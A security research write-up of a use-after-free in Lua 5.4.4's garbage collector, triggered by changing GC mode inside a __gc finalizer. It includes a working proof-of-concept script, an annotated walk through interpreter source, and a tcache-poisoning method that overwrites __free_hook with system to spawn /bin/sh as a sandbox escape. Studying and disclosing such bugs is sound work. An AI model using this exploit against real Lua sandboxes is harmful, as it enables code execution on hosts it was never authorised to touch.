Although many crashes were generated from our fuzzer, not all of them were exploitable. Actually, most of them were just trivial bugs. However, we found an exploitable use-after-free crash. This crash happens during garbage collection in Lua. In this post, we show how the newest Lua interpreter is exploitable(i.e. executing /bin/sh).
Introduction
POC
collectgarbage("incremental", 1)
for i = 1, 50 do
local a = setmetatable(
{},
{
__gc = function()
collectgarbage("generational")
end
} --table 2
)
a[1] = 0xdeadbeef
b = {0xcafebebe}
end
This code can trigger UAF vulnerability which allocate the chunk at address (0xcafebebe) and using this, we can exploit lua interpreter.
Background knowledge for exploit
collectgarbage
collectgarbage("incremental", 1)
We can change garbage collection mode by using collectgarbage() function. So, we use collectgarbage(“incremental”, 1) which change garbage collection mode to incremental mode and set garbage collection step to 1.
Using finalizer with __gc method
local a = setmetatable(
{},
{
__gc = function()
collectgarbage("generational")
end
}
}
We use finalizer which is executed when the object was collected during garbage collection process. We can use this with declaring __gc method by using setmetatable function. Then, if we use collectgarbage() function by using finalizer, what will happen? Finally, it change garbage collection mode during the garbage collection process. Unfortunately, Lua doesn’t prepare this situataion, so if we use it, we can do something unexpected.
Exploit Process
OP_NEWTABLE in lvm.c:1340
allocate three object in one ‘for loop’
22 NEWTABLE 5 0 1 ; 1
23 EXTRAARG 0
24 LOADK 6 7 ; 3405692606
25 SETLIST 5 1 0
26 SETTABUP 0 6 5 ; _ENV "b"
In OP_NEWTABLE, ‘new table’ marked as white is made, and they are stacked in L→stack. When we make a table in OP_NEWTABLE, g→GCdebt increases from negative to positive. At that time, if g→GCdebt is bigger than zero, it calls luaC_step by checkGC. Then, luaC_step starts garbage collection.
vmcase(OP_NEWTABLE) {
int b = GETARG_B(i); /* log2(hash size) + 1 */
int c = GETARG_C(i); /* array size */
Table *t;
if (b > 0)
b = 1 << (b - 1); /* size is 2^(b - 1) */
lua_assert((!TESTARG_k(i)) == (GETARG_Ax(*pc) == 0));
if (TESTARG_k(i)) /* non-zero extra argument? */
c += GETARG_Ax(*pc) * (MAXARG_C + 1); /* add it to size */
pc++; /* skip extra argument */
L->top = ra + 1; /* correct top in case of emergency GC */
t = luaH_new(L); /* memory allocation */
sethvalue2s(L, ra, t);
if (b != 0 || c != 0)
luaH_resize(L, t, c, b); /* idem */
checkGC(L, ra + 1);
vmbreak;
}
Change garbage collection mode in finalizer
When it first started working, garbage collection mode is “incremental” mode. But when the finalizer starts, the garbage collection mode is changed to “generational” mode. During that process, in luaC_changemode, g→gckind is changed to 1 and conduct genstep, but after it, garbage collecter executes incsteps without knowing the garbage collector mode was changed to generational mode. As a result, everything goes wrong. Because there are some conflicts between the incstep and the genstep in marking the object and setting their age, the objects are marked and their age are set up stragely.
After first garbaged collecter ended, g→GCdebt is still positive number, and some important objects which should not be marked or be aged marked and aged. So it starts again immediately after next OP_NEWTABLE, and atomic function is executed. During this process, lua_State get out of g→gray list.
Marking Process
After executing several ‘for loop’, generational garbage collection starts when g→GCdebt is bigger than 0. Then, luaC_step calls genstep, genstep calls atomic, and atomic calls propagatemark. So in propagatemark function, it brings GCobject in g→gray list and traverse with it.
static lu_mem propagatemark (global_State *g) {
GCObject *o = g->gray;
nw2black(o);
g->gray = *getgclist(o); /* remove from 'gray' list */
switch (o->tt) {
case LUA_VTABLE: return traversetable(g, gco2t(o));
case LUA_VUSERDATA: return traverseudata(g, gco2u(o));
case LUA_VLCL: return traverseLclosure(g, gco2lcl(o));
case LUA_VCCL: return traverseCclosure(g, gco2ccl(o));
case LUA_VPROTO: return traverseproto(g, gco2p(o));
case LUA_VTHREAD: return traversethread(g, gco2th(o));
default: lua_assert(0); return 0;
}
}
In normal case without vulnerable code, lua_State(L) is marked as gray and linked to g→gray. So traversethread called in propagatemark conduct traverse step which marks objects in L→stack as gray and links them to g→graylist if it is white.
static int traversethread (global_State *g, lua_State *th) {
UpVal *uv;
StkId o = th->stack;
// ... ommitted
for (; o < th->top; o++) { /* mark live elements in the stack */
markvalue(g, s2v(o));
}
// ... omitted
}
#define markvalue(g,o) { checkliveness(g->mainthread,o); \
if (valiswhite(o)) reallymarkobject(g,gcvalue(o)); }
But, vulnerable case with vulnerable code, lua_State is not in g→gray. So traversethread won’t be called and objects in L→stack also will not be marked as gray and linked to g→gray. Eventually when they enter the sweepgen as they are still white, they are freed in freeobj.
static GCObject **sweepgen (lua_State *L, global_State *g, GCObject **p,
GCObject *limit, GCObject **pfirstold1) {
// ... omitted
int white = luaC_white(g);
GCObject *curr;
while ((curr = *p) != limit) {
if (iswhite(curr)) { /* is 'curr' dead? */
lua_assert(!isold(curr) && isdead(g, curr));
*p = curr->next; /* remove 'curr' from list */
freeobj(L, curr); /* erase 'curr' */
}
// ... omitted
}
return p;
}
OP_SETLIST in lvm.c:1803
After executing OP_NEWTABLE, OP_SETLIST is executed to insert value in the table.
vmcase(OP_SETLIST) {
int n = GETARG_B(i);
unsigned int last = GETARG_C(i);
Table *h = hvalue(s2v(ra));
//... omitted
for (; n > 0; n--) {
TValue *val = s2v(ra + n);
setobj2t(L, &h->array[last - 1], val);
last--;
luaC_barrierback(L, obj2gco(h), val);
}
vmbreak;
}
But because the table which was made in OP_NEWTABLE is freed, the value is inserted to freed object in tcache_bin. So it leads to UAF vulnerability.
Tcachebin Poisoning
We can change the address of next table by writing something on the freed chunk in Tcachebins[idx=0, size=0x20]. So I wrote the __free_hook address in the freed chunk, then I could get the chunk at __free_hook. As a result, I can write something at the address of __free_hook, and If writing system function address in __free_hook, the system function executes when the free() functoin is called.
When the script ends, free(object) will be changed to system(”/bin/sh”)
Entire Exploit Code with Docker
https://github.com/Lua-Project/lua-5.4.4-sandbox-escape-with-new-vulnerability